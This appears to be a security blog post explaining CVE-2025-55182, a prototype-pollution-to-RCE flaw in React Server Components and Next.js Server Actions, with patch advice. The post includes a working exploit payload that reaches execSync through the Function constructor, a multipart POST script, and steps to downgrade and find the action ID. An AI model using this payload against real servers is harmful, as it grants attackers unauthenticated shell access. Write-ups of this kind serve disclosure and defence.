CVE-2025-55182 (CVSS 10.0) is a single-POST RCE against Next.js App Router apps using Server Actions. Unsanitised RSC Flight references ($1:__proto__:..., $1:constructor:constructor) chain to the Function constructor โ attacker-controlled string becomes server-side execSync. No auth, no MFA, full shell. Patch immediately.
Introduction
What if I told you a single POST request could give an attacker full shell access to your Next.js server? That's exactly what CVE-2025-55182 allows โ a critical Remote Code Execution (RCE) vulnerability with a perfect 10.0 CVSS score.
I spent time reproducing this vulnerability to understand how it works under the hood. Here's everything I learned.
What's Affected?
This vulnerability impacts:
- React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- Next.js: 15.x and 16.x using the App Router
- Packages:
react-server-dom-webpack,react-server-dom-turbopack,react-server-dom-parcel
If you're running an unpatched Next.js app with Server Actions, you're vulnerable.
Understanding React Server Components
Before diving into the exploit, let's understand how React Server Components (RSC) work.
When you create a Server Action in Next.js:
"use server";
export async function submitForm(formData: FormData) {
const name = formData.get("name");
// Process on server
}
Next.js assigns it a unique Action ID and exposes it via the Next-Action HTTP header. The client sends serialized data using React's Flight protocol, and the server deserializes it.
The vulnerability lies in how this deserialization happens.
The Vulnerability: Prototype Pollution to RCE
The RSC Flight protocol uses special prefixes to reference objects:
| Prefix | Meaning |
|---|---|
$@N | Reference to chunk N |
$1:path:prop | Property access chain |
$QN | Promise reference |
The critical flaw? The deserializer doesn't sanitize property access chains.
This allows an attacker to access:
__proto__โ enabling prototype pollutionconstructorโ accessing the Function constructor
The Exploit Payload
Here's the payload that achieves RCE:
const payload = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('whoami > /tmp/pwned.txt');`,
_chunks: "$Q2",
_formData: {
get: "$1:constructor:constructor",
},
},
};
Let me break down each part:
1. Prototype Pollution
then: "$1:__proto__:then";
This creates a reference that resolves to Object.__proto__.then, polluting the Promise prototype. This is the entry point for the attack.
2. Accessing Function Constructor
get: "$1:constructor:constructor";
This chains to Object.constructor.constructor, which is the Function constructor โ essentially new Function().
3. Code Injection
_prefix: `process.mainModule.require('child_process').execSync('whoami');`;
This string gets passed to the Function constructor and executed as code on the server with full Node.js privileges.
Reproducing the Vulnerability
Step 1: Setting Up the Vulnerable Environment
First, I created a Next.js app with Server Actions:
// app/actions.ts
"use server";
export async function testAction(formData: FormData): Promise<void> {
const name = formData.get("name");
console.log("Server action called with:", name);
}
Then downgraded to vulnerable versions (only needed if you're on patched versions like Next.js 15.2.6+ or React 19.0.1+):
# Skip this if already on vulnerable versions
npm install [email protected] [email protected] [email protected] --legacy-peer-deps
Step 2: Finding the Action ID
After building the project, I extracted the Action ID from the build output:
grep -oP '\$ACTION_ID_\K[a-f0-9]+' .next/server/app/index.html
This returned my Action ID (yours will be different).
Step 3: Crafting the Exploit
The full exploit script sends a multipart form request:
const TARGET_URL = "http://localhost:3000";
const ACTION_ID = "<your-action-id>"; // Replace with your Action ID from Step 2
const COMMAND = "whoami > /tmp/react2shell-pwned.txt";
const payload = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,
_chunks: "$Q2",
_formData: {
get: "$1:constructor:constructor",
},
},
};
// Send as multipart/form-data with Next-Action header
fetch(TARGET_URL, {
method: "POST",
headers: {
"Content-Type": `multipart/form-data; boundary=${boundary}`,
"Next-Action": ACTION_ID,
Accept: "text/x-component",
},
body: body,
});
Step 4: Execution
Running the exploit:
node exploit.js
Checking the result:
cat /tmp/react2shell-pwned.txt
# Output: codespace
The server executed our command.
The Attack Flow Visualized
Impact
This vulnerability is critical because:
- No authentication required โ Any anonymous user can exploit it
- Full server compromise โ Attacker gains shell access
- Easy to exploit โ Single HTTP request
- Wide attack surface โ Any Next.js app with Server Actions
An attacker could:
- Steal environment variables and secrets
- Access databases
- Pivot to internal networks
- Deploy malware or backdoors
Mitigation
Update immediately to patched versions:
| Package | Patched Version |
|---|---|
| React | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
npm update next react react-dom
Lessons Learned
- Deserialization is dangerous โ Never trust serialized data from clients
- Prototype pollution is still relevant โ Even in modern frameworks
- Supply chain matters โ A flaw in React affects the entire ecosystem
- Update your dependencies โ Security patches exist for a reason
Conclusion
CVE-2025-55182 is a reminder that even the most popular frameworks can have critical vulnerabilities. The combination of prototype pollution and unsafe deserialization created a perfect storm for RCE.
If you're running Next.js with Server Actions, patch now. The exploit is trivial, and the impact is devastating.
Stay secure.
Update React and Next.js today โ not tomorrow. Never trust deserialised client payloads, and remember that prototype pollution isn't a 2018 problem; it's a 2025 RCE primitive hiding inside whatever framework you're trusting.